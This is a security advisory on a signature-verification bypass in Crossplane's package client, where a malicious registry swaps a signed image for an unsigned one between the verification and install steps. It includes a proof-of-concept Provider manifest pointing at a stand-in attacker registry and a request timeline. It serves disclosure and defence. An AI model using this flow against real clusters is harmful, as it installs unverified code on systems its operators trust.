highAug 27, 2026

Crossplane xpkg.CachedClient TOCTOU Signature Verification Bypass

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A malicious OCI registry can serve a properly signed image during cosign verification, then swap in an unsigned image for the actual install, completely bypassing Crossplane's package signature check.

Packagegithub.com/crossplane/crossplane-runtime/v2
Ecosystemgo
Affected= 2.4.0-rc.0
Fixed in2.4.0-rc.1
Crossplane xpkg.CachedClient TOCTOU Signature Verification Bypass

The problem

Crossplane's package manager (xpkg.CachedClient) verifies package signatures using cosign before pulling and installing a package. When a package is referenced by tag (e.g., v1.2.3), the tag is resolved to a manifest independently for the verification step and again for the pull step.

A registry the operator does not control can exploit this two-resolution window. It serves a correctly signed manifest on the first request (verification passes), then silently points the same tag at a different, unsigned manifest on the second request (the actual install).

The attacker's unsigned package is installed with no warning.

Proof of concept

A working proof-of-concept for this issue in github.com/crossplane/crossplane-runtime/v2, with the exact payload below.

yaml
# Attacker controls the OCI registry at evil-registry.example.com.
# Tag :v1.2.3 initially resolves to a signed manifest (sha256:aaa...).
# After cosign verification succeeds, the registry re-points the tag
# to an unsigned manifest (sha256:bbb...) before Crossplane pulls it.

# Victim cluster applies this resource:
apiVersion: pkg.crossplane.io/v1
kind: Provider
metadata:
  name: provider-evil
spec:
  package: evil-registry.example.com/org/provider-evil:v1.2.3
  # No digest pin -- tag reference only.

# Registry sequence:
# T1  GET /v2/org/provider-evil/manifests/v1.2.3  -> sha256:aaa... (signed)
#     cosign verification: PASS
# T2  Registry operator atomically retags :v1.2.3  -> sha256:bbb... (unsigned)
# T3  GET /v2/org/provider-evil/manifests/v1.2.3  -> sha256:bbb... (unsigned)
#     Crossplane installs bbb without re-verifying it.

The root cause is a TOCTOU race (CWE-367) combined with insufficient data authenticity enforcement (CWE-345). Because xpkg.CachedClient issued two separate tag-resolution requests to the registry, the tag's mutability created a window between check and use.

The patch closes the window by resolving the tag to its digest exactly once, then passing that pinned digest to both cosign and the image fetcher. After the fix, both steps operate on the same content-addressable reference, making a swap attack impossible regardless of how the registry behaves between requests.

No public PoC tool has been released. The payload above is derived directly from the advisory's documented attack flow and the fix's change in behavior.

The fix

Upgrade crossplane-runtime to v2.4.0-rc.1 (or v2.3.3 / v2.2.3 on their respective branches). As an immediate workaround, pin all package references to an image digest instead of a tag (e.g., registry.example.com/org/pkg@sha256:...) so there is nothing mutable for a registry to swap.

Reported by bugbunny-research and tonghuaroot (independent reports).

References: [1][2]

Related research